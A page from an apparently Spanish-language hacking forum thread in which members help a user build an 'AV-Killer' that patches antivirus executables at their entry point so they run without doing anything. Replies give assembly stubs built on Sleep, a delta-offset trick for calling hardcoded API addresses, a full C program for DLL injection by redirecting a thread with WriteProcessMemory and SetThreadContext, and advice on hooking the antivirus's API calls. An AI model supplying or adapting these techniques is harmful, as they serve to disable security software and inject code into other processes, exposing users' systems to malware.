Páginas: 1 [2] 3
|
 |
|
Autor
|
Tema: El programa mas pequeño que no haga nada (en ASM) (Leído 960 veces)
|
nhaalclkiemr
Desconectado
Mensajes: 1.644
Máximo exponente 9DB9F1AEED2FADBDE 997BBE20FEDA92
|
mmm...es k una vez prové a hacer un salto a una linea atars y en esa linea tenia un nop (90) y juraría que me consumía el 100%... pero weno gracias  Sobre el archivo en verdad no es el archivo lo que quiero...puede que me expresara mal al principio...yo lo que quiero son las instrucciones...es para una parte de un AV-Killer...en vez de borrar los archivos lo que hago es mirar su EntryPoint y aí pongo un C3 para que se salga y no se ejecute  ...pero pienso que quizás sea mejor que el programa permanezca en ejecucion pero que no haga nada  Saludos 
|
|
|
|
|
En línea
|
|
|
|
Eternal Idol N&P
Desconectado
Mensajes: 1.284
Assembly (x86/x64), C/C++, Kernel Mode (WDM/WDF)
|
Si, nhaalclkiemr, ocupa la CPU tal como decis. .386 .model flat, stdcall includelib kernel32.lib
Sleep PROTO STDCALL: DWORD
.code main: invoke Sleep, 100 jmp main end main
|
|
|
|
|
En línea
|
be closely tied to (v.) = estar estrechamente ligado a Ex: He had been wrapped up in a new project that was closely tied to the company's new growth.
"La economia nunca ha sido libre: o la controla el Estado en beneficio del Pueblo o lo hacen los grandes consorcios en perjuicio de este" Juan Domingo Peron
|
|
|
nhaalclkiemr
Desconectado
Mensajes: 1.644
Máximo exponente 9DB9F1AEED2FADBDE 997BBE20FEDA92
|
estuve provando con el olly...puse un jmp a si mismo y si que consume el 100% de CPU...el ordenador va igual de rapido (es como si la aplicacion estuviera en segundo plano) pero en el taskmgr.exe aparece el 100% de CPU... Sobre lo que pones tu Eternal Idol si no me ekivoco andas llamando a APIs...eso no me sirve para lo que quiero ya que tendría que modificar la IAT del archivo y weno es bastante complicado... No hay ninguna manera de hacerlo sin bucles?? o con un bucle que no consuma el 100%? Saludos 
|
|
|
|
|
En línea
|
|
|
|
Eternal Idol N&P
Desconectado
Mensajes: 1.284
Assembly (x86/x64), C/C++, Kernel Mode (WDM/WDF)
|
Sobre lo que pones tu Eternal Idol si no me ekivoco andas llamando a APIs...eso no me sirve para lo que quiero ya que tendría que modificar la IAT del archivo y weno es bastante complicado... No necesariamente, no se si lo queres hacer en tiempo de ejecucion o sobre el archivo en disco. En ambos casos lo podes hacer asi pero en el segundo seria hardcoded: push 100 mov eax, addrSleep call eax
No hay ninguna manera de hacerlo sin bucles?? o con un bucle que no consuma el 100%? Si, tal como te lo dije.
|
|
|
|
« Última modificación: 02 Febrero 2008, 16:27 por Eternal Idol »
|
En línea
|
be closely tied to (v.) = estar estrechamente ligado a Ex: He had been wrapped up in a new project that was closely tied to the company's new growth.
"La economia nunca ha sido libre: o la controla el Estado en beneficio del Pueblo o lo hacen los grandes consorcios en perjuicio de este" Juan Domingo Peron
|
|
|
nhaalclkiemr
Desconectado
Mensajes: 1.644
Máximo exponente 9DB9F1AEED2FADBDE 997BBE20FEDA92
|
Perdon no te entendí bien...se muy poco de ASM... A ver lo que yo quiero es hacerlo en disco...como quien dice estropear un programa...cojo su EntryPoint (la primera linea que se ejecuta) y antes alli metia un C3 y entonces la aplicacion ya se salía...ahora lo que quiero es meter algun opcode aí (no tiene pork ser un byte...pueden ser las instrucciones k kiera) para que al ejecutarse el programa estropeado no se cierre...que permanezca ejecutandose pero sin hacer nada y logicamente consumiendo el 0% de CPU... Sobre este ultimo code que pusiste no lo entiendo muy bien (ya te dije que soy novat en esto...el addrSleep se supone que es la direccion de la API Sleep no? pero al utilizar Sleep estoy usando una API!...y eso hace que cuando quiera modificar un ejecutable en disco tenga que modificar la IAT... Seguramente esté equivocado y/o confundido a ver si me puedes aclararmelo un pokito mejor... Gracias 
|
|
|
|
|
En línea
|
|
|
|
Eternal Idol N&P
Desconectado
Mensajes: 1.284
Assembly (x86/x64), C/C++, Kernel Mode (WDM/WDF)
|
Sobre este ultimo code que pusiste no lo entiendo muy bien (ya te dije que soy novat en esto...el addrSleep se supone que es la direccion de la API Sleep no? pero al utilizar Sleep estoy usando una API!...y eso hace que cuando quiera modificar un ejecutable en disco tenga que modificar la IAT... Eso no tiene ninguna razon de ser, Kernel32.dll (la libreria donde esta la funcion Sleep) esta cargada en todo proceso de modo Usuario normal (consola/windows) y por lo tanto si sabes su direccion podes llamarla, con o sin IAT. Incluso es un procedimiento normal para usar enlazado dinamico, mientras tengas enlazadas estaticamente (mediante IAT) GetModuleHandle y GetProcAddress podes llamar a estas para conseguir la direccion de la DLL y de la funcion. En este caso la meterias a mano ( hardcoded) pero si tenes ya estas funciones podrias hacerlo mejor ... aunque si vas a modificar el archivo genera el ejecutable con el codigo que deje y reemplazalo, no hay diferencia, cualquier comprobacion que tengan ya detectaria tus cambios.
|
|
|
|
|
En línea
|
be closely tied to (v.) = estar estrechamente ligado a Ex: He had been wrapped up in a new project that was closely tied to the company's new growth.
"La economia nunca ha sido libre: o la controla el Estado en beneficio del Pueblo o lo hacen los grandes consorcios en perjuicio de este" Juan Domingo Peron
|
|
|
Ferсhu
Desconectado
Mensajes: 1.225
Menos palabras y Mas codigos.
|
stop jejeje. A ver lo que yo quiero es hacerlo en disco...como quien dice estropear un programa...cojo su EntryPoint (la primera linea que se ejecuta) y antes alli metia un C3 y entonces la aplicacion ya se salía...ahora lo que quiero es meter algun opcode aí (no tiene pork ser un byte...pueden ser las instrucciones k kiera) Tendrias q escribir el byte en el momento q el programa se carga en memoria y antes q empieze a pasar por ahi jajaj osea es como kerer tocar a superman apenas empieza a correr y antes q se escape jaja. Ademas casi siempre los prog ya se encuentra iniciados asi q no van a volver a pasar x su entry point, solo si son reiniciados en ese caso se vuelve a volcar la memoria el codigo nuevo y estas en las mismas. lo veo casi imposible jeje. No hay ninguna manera de hacerlo sin bucles?? creo q usando alguna interrupcion esperando algo q nunca va a pasar en ese contexto jejej.
|
|
|
|
|
En línea
|
|
|
|
Eternal Idol N&P
Desconectado
Mensajes: 1.284
Assembly (x86/x64), C/C++, Kernel Mode (WDM/WDF)
|
Tendrias q escribir el byte en el momento q el programa se carga en memoria y antes q empieze a pasar por ahi jajaj osea es como kerer tocar a superman apenas empieza a correr y antes q se escape jaja. Una vez que se carga en memoria ya no podes escribir. Ademas casi siempre los prog ya se encuentra iniciados asi q no van a volver a pasar x su entry point, solo si son reiniciados en ese caso se vuelve a volcar la memoria el codigo nuevo y estas en las mismas. lo veo casi imposible jeje. La historia es matarlo, escribirlo y reiniciarlo ... no muy util igual. creo q usando alguna interrupcion esperando algo q nunca va a pasar en ese contexto jejej. Hay poquisimas interrupciones disponibles en Windows y ninguna 100% compatible entre diferentes versiones (para eso esta la API). Ninguna de estas interrupciones - excepto la que usan las API para pasar a modo Kernel - podria servirte para nada y estas servirian como mucho de version en version o en el peor de los casos de service pack en service pack. Tomando de esta idea, sin bucles: .386 .model flat, stdcall includelib kernel32.lib
Sleep PROTO STDCALL: DWORD
.code main: invoke Sleep, 0FFFFFFFFh ;INFINITE end main
|
|
|
|
« Última modificación: 02 Febrero 2008, 16:50 por Eternal Idol »
|
En línea
|
be closely tied to (v.) = estar estrechamente ligado a Ex: He had been wrapped up in a new project that was closely tied to the company's new growth.
"La economia nunca ha sido libre: o la controla el Estado en beneficio del Pueblo o lo hacen los grandes consorcios en perjuicio de este" Juan Domingo Peron
|
|
|
nhaalclkiemr
Desconectado
Mensajes: 1.644
Máximo exponente 9DB9F1AEED2FADBDE 997BBE20FEDA92
|
mmm...lo malo es que se me crea una nueva sección llamada .rdata... y weno si copio las instrucciones de la otra sección no me funciona... A ver no me sirve lo que dices tu de copiar literalmente le programa por encima del otro pork el programa original perderá el icono... Weno a ver si descubro alguna manera sino utilizo en C3 y via... Gracias y saludos 
|
|
|
|
|
En línea
|
|
|
|
Ferсhu
Desconectado
Mensajes: 1.225
Menos palabras y Mas codigos.
|
aver algo parecido a eso q dije pero en forma de apis.
nose como explicarlo pero imaginen una aplicacion de consola.
No estoy seguro de lo q voy a decir jaja
seria algo como lo sigiuente:
hand=GetStdHandle(STD_INPUT_HANDLE);
SetStdHandle(STD_OUTPUT_HANDLE ,hand)
q pasaria si anulo la entrada de datos al prog desde el tec
Este no puede recibir nada del teclado, y si el programa llega a pedir datos del êl, x ej letras, se kedaria clavado.
No estoy seguro de si eso se puede hacer, q alguien me corrija, pero es algo asi a lo q me refiero transladando a asm de otra forma no con es exactamente.
Todo esto en base a no hacerlo con bucles jaja.
|
|
|
|
|
En línea
|
|
|
|
|
E0N
|
Si, nhaalclkiemr, ocupa la CPU tal como decis. Pues a mi no me llega ni al 20% del total ya con todos los programas normales corriendo y tal... tb puede ser por q tengo cuatro nucleos a 2.4ghz cada uno y por eso el pc ni se entera...  Sobre el archivo en verdad no es el archivo lo que quiero...puede que me expresara mal al principio...yo lo que quiero son las instrucciones...es para una parte de un AV-Killer...en vez de borrar los archivos lo que hago es mirar su EntryPoint y aí pongo un C3 para que se salga y no se ejecute ...pero pienso que quizás sea mejor que el programa permanezca en ejecucion pero que no haga nada Osea, q lo q kieres cambiar es el ejecutable del av. Weno, pues entonces hay otros metodos, como por ejemplo detener el hilo del programa y hacer una redireccion a otro hilo q hagga lo q tu kieras... es algo complicado (y mas de explicar..). La idea la saké de un metodo de inyeccion inventado por MazarD, aki tienes la explicacion q le da al metodo: 4.5.-Redirección de Threads
Ventajas? Igual que la anterior no es detectado por ningún firewall, hacemos que el programa ejecute código propio muy limpiamente y si al inyectar no probocamos el crasheo podemos estar seguros de que no se desestabilizará nunca. Desde mi punto de vista es el mejor método sin lugar a dudas. La idea de este método es inyectarle codigo (el código será nuestro querido LoadLibrary), detener la ejecución, cambiar el registro eip para que se ejecute nuestro código, relanzar la ejecución y automágicamente el código inyectado devolverá la ejecución al punto dónde estaba. Dado que estamos interrumpiendo la ejecución en un punto aleatório del programa después de ejecutar el código debemos dejar absolutamente todo tal y como estaba. Así debemos guardar y restaurar a parte de los registros los flags, ya que por ejemplo si interrumpieramos la ejecución en un cmp algo,algo y a continuación tenemos un salto podemos estar alterando el resultado de la comparación. Es lo mismo que si estubieramos programando una rutina de servicio de interrupción. Para devolver la ejecución al punto anterior en principio podría hacerse con un jmp pero esto nos dá el problema de que no sabemos si el salto debe ser positivo o negativo así que lo que se hace en el código es el truquito de pushear la dirección a la que queremos saltar y al finalizar hacer un ret que nos devolverá al código. El codigo para q entiendas mejor: #include <windows.h> #include <stdio.h> BYTE* CrearCodigo(DWORD Eip,DWORD Ruta,DWORD dLoadLibrary) { BYTE *codeBuff; codeBuff=(BYTE*)malloc(22); //push eipvella *codeBuff=0x68; codeBuff++; *((DWORD*)codeBuff)=Eip; codeBuff+=4; *codeBuff=0x9C; //pushfd codeBuff++; *codeBuff=0x60; //pushad codeBuff++; //push path *codeBuff=0x68; codeBuff++; *((DWORD*)codeBuff)=Ruta; codeBuff+=4; //mov eax,nLoadLib *codeBuff=0xB8; codeBuff++; *((DWORD*)codeBuff)=dLoadLibrary; codeBuff+=4; *((WORD*)codeBuff)=0xD0FF; //call eax codeBuff+=2; *codeBuff=0x61; //popad codeBuff++; *codeBuff=0x9D; //popfd codeBuff++; *codeBuff=0xC3; //ret codeBuff-=21; return codeBuff; }i nt main() { typedef HANDLE (__stdcall *openthread) (DWORD,BOOL,DWORD); openthread AbrirHilo; HANDLE proces,fil; char nomDll[]="c:\\ladll.dll"; void *medkitsite,*path; DWORD pID,tID; BYTE *medicina; CONTEXT context; DWORD eipvella; DWORD nLoadLib; printf("Inyección Dll por MazarD\n Método Thread Redirection\nhttp://www.mazard.info\n"); printf("Identificador del proceso (PID):"); scanf("%d",&pID); printf("Identificador del hilo (TID):"); scanf("%d",&tID); printf("Inyectando en el hilo %.2x del proceso %.2x\n",tID,pID); //Abrimos el proceso proces=OpenProcess(PROCESS_ALL_ACCESS,false,pID); //Abrimos el hilo (Está así porque el api OpenThread no aparece en mi windows.h) AbrirHilo=(openthread)GetProcAddress(GetModuleHandle("kernel32.dll"),"OpenThread"); fil=AbrirHilo(THREAD_ALL_ACCESS,false,tID); //Reservamos memória en el proceso y escribimos la ruta a la dll path=VirtualAllocEx(proces,NULL,strlen(nomDll)+1,MEM_COMMIT | MEM_RESERVE,PAGE_READWRITE); (WriteProcessMemory(proces,path,nomDll,strlen(nomDll),NULL) //Cogemos la dirección a LoadLibrary nLoadLib=(DWORD)GetProcAddress(GetModuleHandle("kernel32.dll"),"LoadLibraryA"); //Suspendemos el hilo y cogemos el puntero de instrucciones (punto de ejecución actual) SuspendThread(fil); context.ContextFlags=CONTEXT_CONTROL; GetThreadContext(fil,&context); eipvella=context.Eip; printf("Eip al retornar:%.2x\n",eipvella); //Creamos el código a partir de eip, la ruta a la dll y la dirección de loadlibrary medicina=CrearCodigo((DWORD)eipvella,(DWORD)path,nLoadLib); printf("CodigoCreado:%.2x\n\n",medicina); //Reservamos memoria y escribimos nuestro código en el medkitsite=VirtualAllocEx(proces,NULL,22,MEM_COMMIT | MEM_RESERVE,PAGE_EXECUTE_READWRITE); WriteProcessMemory(proces,medkitsite,medicina,22,NULL) printf("Nuevo Eip:%.2x\n",(DWORD)medkitsite); //modificamos el puntero de instrucciones para que apunte a nuestro código inyectado context.Eip = (DWORD)medkitsite; context.ContextFlags = CONTEXT_CONTROL; SetThreadContext(fil,&context); //Le decimos al hilo que puede volver a ejecutarse (lanzará nuestro codigo) ResumeThread(fil); printf("Inyección completada!!\n"); CloseHandle(proces); CloseHandle(fil); return 0; } Tu code seria mas simple aun, ya q te puedes ahorrar el ret final y la parte de dejar los registros igual q al principio, y a qnunca retornará, miratelo por q te puede ser util  Salu2
|
|
|
|
|
En línea
|
|
|
|
Eternal Idol N&P
Desconectado
Mensajes: 1.284
Assembly (x86/x64), C/C++, Kernel Mode (WDM/WDF)
|
mmm...lo malo es que se me crea una nueva sección llamada .rdata... Si usas la direccion hardcodeada te funciona y no necesita ninguna sección nueva ... A ver no me sirve lo que dices tu de copiar literalmente le programa por encima del otro pork el programa original perderá el icono... Por ahora no me sirve es igual a no se hacerlo. Podes extraer ese icono y ponerlo en tu ejecutable perfectamente ... <~>FeRcHu<~> se entiende aunque es demasiada complejidad innecesaria ya que con un Sleep alcanza y sobra, tambien se puede hacer de forma mas limpia creando un evento y esperando que alguien lo señale (obviamente nadie lo hara).
|
|
|
|
|
En línea
|
be closely tied to (v.) = estar estrechamente ligado a Ex: He had been wrapped up in a new project that was closely tied to the company's new growth.
"La economia nunca ha sido libre: o la controla el Estado en beneficio del Pueblo o lo hacen los grandes consorcios en perjuicio de este" Juan Domingo Peron
|
|
|
®®
Colaborador
Desconectado
Mensajes: 5.178
|
para usar direcciones no hardcodeadas, puedes usar algo asi: call hola hola: pop ebp sub ebp,hola mov eax,[addrSleep+ebp] push parametros call eax .... .... addrSleep dd 0
logicamente antes de escribir la rutina debes obtener la direccion de sleep y guardarla en addrsleep.
|
|
|
|
|
En línea
|
|
|
|
|
E0N
|
A, otra idea q se me a ocurrido, puedes hookear un api q use el av en concreto y q llame frecuentemente. Entonces, hookeas el api y cuando llame al api haces q se ejecute una funcion tuya q no haga nada, vamos q entre el un bucle con sleeps o algo asi. Es mas simple q el metodo anterior, por lo menos a mi parecer Salu2 
|
|
|
|
|
En línea
|
|
|
|
Eternal Idol N&P
Desconectado
Mensajes: 1.284
Assembly (x86/x64), C/C++, Kernel Mode (WDM/WDF)
|
Pues a mi no me llega ni al 20% del total ya con todos los programas normales corriendo y tal... tb puede ser por q tengo cuatro nucleos a 2.4ghz cada uno y por eso el pc ni se entera...  A mi me llega a un 50% pero para un programa que no hace NADA ... Osea, q lo q kieres cambiar es el ejecutable del av. Weno, pues entonces hay otros metodos, como por ejemplo detener el hilo del programa y hacer una redireccion a otro hilo q hagga lo q tu kieras... es algo complicado (y mas de explicar..). La idea la saké de un metodo de inyeccion inventado por MazarD, aki tienes la explicacion q le da al metodo: Con SuspendThread sobre cada hilo alcanza y sobra (todos esos metodos son universales y ampliamente conocidos). Aunque no es lo que quiere hacer ...
|
|
|
|
|
En línea
|
be closely tied to (v.) = estar estrechamente ligado a Ex: He had been wrapped up in a new project that was closely tied to the company's new growth.
"La economia nunca ha sido libre: o la controla el Estado en beneficio del Pueblo o lo hacen los grandes consorcios en perjuicio de este" Juan Domingo Peron
|
|
|
|
Páginas: 1 [2] 3
|
|
|
|